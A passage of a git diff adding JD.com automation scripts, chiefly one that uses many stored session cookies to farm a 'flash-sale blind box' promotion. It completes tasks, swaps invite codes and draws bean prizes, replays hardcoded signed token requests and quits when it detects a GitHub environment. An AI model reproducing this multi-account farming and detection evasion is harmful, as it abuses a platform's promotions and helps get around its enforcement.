lz_cookie[vo] + ';' + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_sgmh.js b/jd_sgmh.js new file mode 100644 index 0000000..4607a25 --- /dev/null +++ b/jd_sgmh.js @@ -0,0 +1,384 @@ +/* +闪购盲盒 +长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆 +修改自 @yangtingxiao 抽奖机脚本 +活动入口:京东APP首页-闪购-闪购盲盒 +网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html +更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#闪购盲盒 +20 8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "20 8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, tag=闪购盲盒 +===============Surge================= +闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js +============小火箭========= +闪购盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('闪购盲盒'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = '' +let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6 +const inviteCodes = [ + '', + '', +]; +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = '' + await TotalBean(); + await shareCodesFormat(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await interact_template_getHomeData() + await showMsg(); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 +function interact_template_getHomeData(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode !== 0) { + console.log(data.data.bizMsg); + return + } + scorePerLottery = data.data.result.userInfo.scorePerLottery||data.data.result.userInfo.lotteryMinusScore + if (data.data.result.raiseInfo&&data.data.result.raiseInfo.levelList) scorePerLottery = data.data.result.raiseInfo.levelList[data.data.result.raiseInfo.scoreLevel]; + //console.log(scorePerLottery) + for (let i = 0;i < data.data.result.taskVos.length;i ++) { + console.log("\n" + data.data.result.taskVos[i].taskType + '-' + data.data.result.taskVos[i].taskName + '-' + (data.data.result.taskVos[i].status === 1 ? `已完成${data.data.result.taskVos[i].times}-未完成${data.data.result.taskVos[i].maxTimes}` : "全部已完成")) + //签到 + if (data.data.result.taskVos[i].taskName === '邀请好友助力') { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.taskVos[i].assistTaskDetailVo.taskToken}\n`); + for (let code of $.newShareCodes) { + if (!code) continue + await harmony_collectScore(code, data.data.result.taskVos[i].taskId); + await $.wait(2000) + } + } + else if (data.data.result.taskVos[i].status === 3) { + console.log('开始抽奖') + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + else if ([0,13].includes(data.data.result.taskVos[i].taskType)) { + if (data.data.result.taskVos[i].status === 1) { + await harmony_collectScore(data.data.result.taskVos[i].simpleRecordInfoVo.taskToken,data.data.result.taskVos[i].taskId); + } + } + else if ([14,6].includes(data.data.result.taskVos[i].taskType)) { + //console.log(data.data.result.taskVos[i].assistTaskDetailVo.taskToken) + for (let j = 0;j <(data.data.result.userInfo.lotteryNum||0);j++) { + if (appId === "1EFRTxQ") { + await ts_smashGoldenEggs() + } else { + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } + } + } + let list = data.data.result.taskVos[i].productInfoVos || data.data.result.taskVos[i].followShopVo || data.data.result.taskVos[i].shoppingActivityVos || data.data.result.taskVos[i].browseShopVo + for (let k = data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + //console.log(list[j].simpleRecordInfoVo||list[j].assistTaskDetailVo) + console.log("\n" + (list[j].title || list[j].shopName||list[j].skuName)) + //console.log(list[j].itemId) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId,list[j].itemId,1); + if (k === data.data.result.taskVos[i].maxTimes - 1) await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken,data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken,taskId,itemId = "",actionType = 0,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body += "&appid=golden-egg" + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken,taskId,itemId,0,parseInt(browseTime) * 1000); + } else{ + console.log(data.data.bizMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId,timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `${JD_API_HOST}`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`,//?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async (err, resp, data) => { + try { + if (!timeout) console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDSGMH_SHARECODES) { + if (process.env.JDSGMH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDSGMH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDSGMH_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + // console.log(readShareCodeRes) + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": 